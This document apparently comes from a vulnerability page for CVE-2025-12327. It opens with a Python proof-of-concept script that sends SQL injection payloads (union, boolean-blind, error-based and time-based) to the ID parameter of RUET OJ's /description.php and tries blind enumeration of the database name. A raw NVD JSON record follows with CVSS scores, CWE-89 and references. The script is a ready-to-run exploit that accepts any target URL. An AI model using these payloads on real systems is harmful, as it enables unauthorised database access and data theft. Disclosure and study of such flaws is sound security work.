CVE-2025-12327

import requests import sys # CVE-2025-12327 SQL Injection PoC for RUET OJ /description.php # Target: shawon100 RUET OJ up to commit 18fa45b0a669fa1098a0b8fc629cf6856369d9a5 def exploit_sqli(target_url, payload): """ SQL Injection exploit for /description.php The ID parameter is vulnerable to SQL injection """ # Target endpoint with vulnerable ID parameter url = f"{target_url}/description.php" # Test payloads for different SQL injection techniques payloads = { 'union_based': "1' UNION SELECT 1,2,3,4,5-- -", 'boolean_blind': "1' AND 1=1-- -", 'error_based': "1' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))-- -", 'time_based': "1' AND SLEEP(5)-- -" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Use provided payload or default to union-based if payload == 'auto': payload = payloads['union_based'] params = {'ID': payload} try: print(f"[*] Sending payload: {payload}") print(f"[*] Target: {url}") response = requests.get(url, params=params, headers=headers, timeout=30) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def extract_data(target_url): """ Extract database information using blind SQL injection """ # Database enumeration payload db_enum = "1' AND SUBSTRING((SELECT database()),1,1)='r'-- -" # Test if database name starts with 'r' print("[*] Attempting database enumeration...") result = exploit_sqli(target_url, db_enum) if result and 'error' not in result.lower(): print("[+] Database name likely starts with 'r'") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12327.py <target_url> [payload]") print("Example: python cve-2025-12327.py http://target.com/ruet-oj") sys.exit(1) target = sys.argv[1] payload = sys.argv[2] if len(sys.argv) > 2 else 'auto' exploit_sqli(target, payload)

{"cve": {"id": "CVE-2025-12327", "sourceIdentifier": "[email protected]", "published": "2025-10-27T21:15:36.713", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in shawon100 RUET OJ up to 18fa45b0a669fa1098a0b8fc629cf6856369d9a5. This issue affects some unknown processing of the file /description.php. This manipulation of the argument ID causes sql injection. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:shawonruet:ruet_oj:*:*:*:*:*:*:*:*", "versionEndIncluding": "2022-10-19", "matchCriteriaId": "A49CA863-91A0-43A6-81AF-E57886D0E879"}]}]}], "references": [{"url": "https://vuldb.com/?ctiid.330104", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.330104", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.674349", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}